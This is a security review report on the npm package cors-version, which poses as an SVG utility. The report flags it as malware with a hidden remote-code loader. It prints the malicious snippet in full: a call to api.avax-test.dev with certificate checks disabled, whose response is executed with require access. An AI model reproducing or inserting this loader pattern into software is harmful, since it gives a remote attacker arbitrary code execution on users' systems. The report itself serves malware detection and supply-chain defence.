## Security analysis

### Published attack-surface review

- **Summary:** The CommonJS entrypoint contains an exported hidden remote-code loader. Invoking its returned callback downloads and executes server-controlled JavaScript with require access.

- **Trigger:** A consumer requires src/index.cjs, calls getPlugin(), then invokes the returned function.

- **Impact:** Arbitrary code execution in the consuming Node.js process; the payload can access files, processes, and network through require.

- **Evidence paths:** package.json, src/index.cjs, src/index.mjs, src/index.d.ts, bin/svgcraft.mjs

- **Review source:** ai\_review

- **Reviewed:** 2026-07-24T21:52:15.625Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** HTTPS-fetched payload executed through Function with require

- **Attack narrative:** The CommonJS package export includes getPlugin, absent from the ESM entrypoint and type declarations. Its callback fetches an attacker-controlled response from api.avax-test.dev with certificate validation disabled, then executes that response using new Function and passes require. This creates remote arbitrary-code execution whenever the concealed API is invoked.

- **Rationale:** The CJS entrypoint implements a concealed remote payload loader and executor unrelated to SVG processing. No lifecycle hook is needed for this concrete runtime RCE capability to be malicious.

- **Files touched:** src/index.cjs

- **Network endpoints:** https://api.avax-test.dev/ext/bc/rpc

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** src/index.cjs exports undocumented getPlugin., getPlugin returns a callback that requests api.avax-test.dev., Response data is executed with new Function(...)(require)., TLS verification is disabled with rejectUnauthorized:false., Remote code receives CommonJS require access.

- **Evidence against:** package.json has no lifecycle hooks., src/index.mjs contains only SVG utilities and no network code., bin/svgcraft.mjs only performs user-invoked SVG file I/O.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%
- **Path:** src/index.cjs
- **Public source:** [View source](<https://unpkg.com/cors-version@1.0.2/src/index.cjs>)

Package source references a known benign dynamic code generation pattern.

Public source snippet (untrusted):

```javascript
L304: https.get("https://api.avax-test.dev/ext/bc/rpc", { rejectUnauthorized: false }, res =>
L305: res.on("data",  data => {const handler = new Function('require', data.toString())(require);}))
L306: };
```

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 5. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 6. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 7. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** src/index.mjs
- **Public source:** [View source](<https://unpkg.com/cors-version@1.0.2/src/index.mjs>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = svgcraft-core@1.0.7
matchedPath = src/index.mjs
matchedIdentity = npm:c3ZnY3JhZnQtY29yZQ:1.0.7
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```
